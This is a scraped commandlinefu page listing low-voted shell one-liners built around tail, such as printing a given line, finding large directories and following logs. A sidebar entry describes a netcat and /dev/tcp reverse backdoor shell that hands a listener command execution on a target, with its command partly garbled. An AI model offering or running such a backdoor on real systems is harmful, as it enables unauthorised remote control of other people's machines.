Commands using tail sorted by votes

Commands using tail (292)

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last mounted device
This is sample output - yours may be different.
-3

mount |tail -1 | less -p "/dev/[^ ]*"

totti · 2011-08-28 16:29:42 5
find the 10 largest directories

http://superuser.com/questions/9847/linux-utility-for-finding-the-largest-files-directories
This is sample output - yours may be different.
-3

find . -type d -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh {} | sort -rn

noah · 2013-06-26 02:08:21 7
Pick a random line from a file

prints a random line
This is sample output - yours may be different.
-4

head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1

sharfah · 2009-07-23 12:00:49 3
Get Futurama quotations from slashdot.org servers
This is sample output - yours may be different.
-4

echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n5 | tail -1 | cut -f2 -d-

beerbrain · 2009-07-31 06:49:52 3
Get your external IP address
This is sample output - yours may be different.
-4

echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1

Marko · 2009-11-03 15:18:20 14
Show the single most recently modified file in a directory

Takes a directory name as an argument (defaults to current directory if no arguments are given). Prints the newest file in the directory. Show Sample Output
This is sample output - yours may be different.
```
$ ls -lart /tmp | tail -3
-rw-rw-rw-  1 bchittenden bchittenden    25919 Oct 17 10:37 image.txt
drwx------  2 bchittenden bchittenden     4096 Oct 17 11:30 orbit-bchittenden
drwxrwxrwt 22 root        root           12288 Oct 17 11:30 .

$ lastfile /tmp
/tmp/image.txt
```
-4

lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; }

bartonski · 2011-10-17 16:08:02 3
colorize and continuously tail two files

(follow with next command) tail -f from.log | colorize.pl +l20:".*" & Use with http://www.commandlinefu.com/commands/view/10031/intercept-monitor-and-manipulate-a-tcp-connection. - can use to view output of tees that send traffic to files - output will be interwoven with red for sent traffic and green for received. get colorize.pl from http://www.flinkmann.de/71-1-Colorizepl.html
This is sample output - yours may be different.
-4

tail -f to.log | colorize.pl +l10:".*" &

peter4512 · 2012-01-20 21:46:47 6
Poll and print end of lates modified file

Watches for file modifications in the current directory and tails the file.
This is sample output - yours may be different.
-4

watch 'ls -tr1 | tail -n1 | xargs tail'

batandwa · 2013-05-09 11:37:59 10
Print just line 4 from a textfile
This is sample output - yours may be different.
-5

tail -n +4 | head -n 1

unixmonkey10745 · 2010-07-09 12:10:03 27
show space used by postgres

this command shows the space used in postgres directory. Show Sample Output
This is sample output - yours may be different.
```
4	./pg_twophase
5364	./base/17868
5268	./base/11563
5268	./base/1
114288	./base/11564
4	./base/pgsql_tmp
5736	./base/19846
135932	./base
268584	.
268584	total
```
-5

while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log

aceiro · 2010-07-12 17:23:45 4
Go to the Nth line of file

Silly approach, but easy to remember... Show Sample Output
This is sample output - yours may be different.
```
tcpmux		1/tcp				# TCP port service multiplexer
```
-5

head -n 13 /etc/services | tail -n 1

muonIT · 2011-09-15 19:39:49 13
To print a specific line from a file

Tail is much faster than sed, awk because it doesn't check for regular expressions. Show Sample Output
This is sample output - yours may be different.
```
$ tail -n +5 /var/log/dmesg | head -n 1
[    0.000000] KERNEL supported cpus:
```
-5

tail -n +<N> <file> | head -n 1

qweqq · 2011-09-30 08:30:30 6
Check syntax of cron files (by restarting the service and checking the logs)

Debian-specific but very useful as cron files are prone to very subtle gotchas
This is sample output - yours may be different.
-7

/etc/init.d/cron restart && tail -100 /var/log/syslog

root · 2010-05-05 09:56:30 3
Print just line 4 from a textfile

tail -n X | head -n 1 prints a specific line, where X is the line number
This is sample output - yours may be different.
-7

tail -n 4 | head -n 1

puddy · 2010-07-08 19:50:06 3
Easily find an old command you run

I know how hard it is to find an old command running through all the files because you couldn't remember for your life what it was. Heres the solution!! Grep the history for it. depending on how old the command you can head or tail or if you wanted to search all because you cannot think how long ago it was then miss out the middle part of the command. This is a very easy and effective way to find that command you are looking for.
This is sample output - yours may be different.
-9

cat .bash_history | tail -100 | grep {command}

techie · 2013-04-10 10:40:52 8
get you public ip address
This is sample output - yours may be different.
-11

/usr/bin/lynx -dump http://www.netins.net/dialup/tools/my_ip.shtml | grep -A2 "Your current IP Address is:" | tail -n1 | tr -d ' '|sed '/^$/d'| sed 's/^ *//g'

juanmi · 2010-12-20 15:29:53 4
Look at logs startring at EOF

In cases when the user is following a log file that rotates then it is advisable to use the -F option as it keeps following the log even when it is recreated, renamed, or removed as part of log rotation. To interrupt tail while it is monitoring, break-in with Ctrl+C.
This is sample output - yours may be different.
-12

tail -f <file>

adrruiz · 2015-06-01 16:55:00 14
‹ First < 10 11 12

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Remove all cached images for icons related to your profile

Run inside Command Prompt (cmd.exe) as admin. Note that you must close explorer.exe first, and even so some files will not be deleted, will say "Access is denied." To definitely delete them enter with another admin user or from other operating system and access the drive.

Send an http HEAD request w/curl

Show me a histogram of the busiest minutes in a log file:

Busiest seconds: $ cat /var/log/secure.log | awk '{print substr($0,0,15)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i

live ssh network throughput test

connects to host via ssh and displays the live transfer speed, directing all transferred data to /dev/null needs pv installed Debian: 'apt-get install pv' Fedora: 'yum install pv' (may need the 'extras' repository enabled)

Set laptop display brightness

Run as root. Path may vary depending on laptop model and video card (this was tested on an Acer laptop with ATI HD3200 video). $ cat /proc/acpi/video/VGA/LCD/brightness to discover the possible values for your display.

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

check open ports without netstat or lsof

Merge PDFs with Ghostscript wrapped in a function

This is an expansion on a previous entry, which I've wrapped in a function and placed in my profile. The "$@" is a positional parameter, much like "$*", but the parameters are passed on intact, without interpretation or expansion; so you can simply call the function like this: mergepdf * This will output a merged PDF of all PDFs in the current directory. Alternatively, you can simply list them like so: mergepdf 00.pdf 01.pdf 02.pdf ... N.B. Passing a wildcard will merge all PDFs in the current directory in name order, e.g. 00.pdf 01.pdf aa.pdf ab.pdf

Install a basic FreeBSD system

Install a basic FreeBSD system on a distant server. I use this to install FreeBSD on servers that can only boot a Linux rescue system. This sytem loads on ram when booted, so it is possible to install freely. You can even install on ZFS root !

Count all conections estabilished on gateway

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Commands using tail (292)

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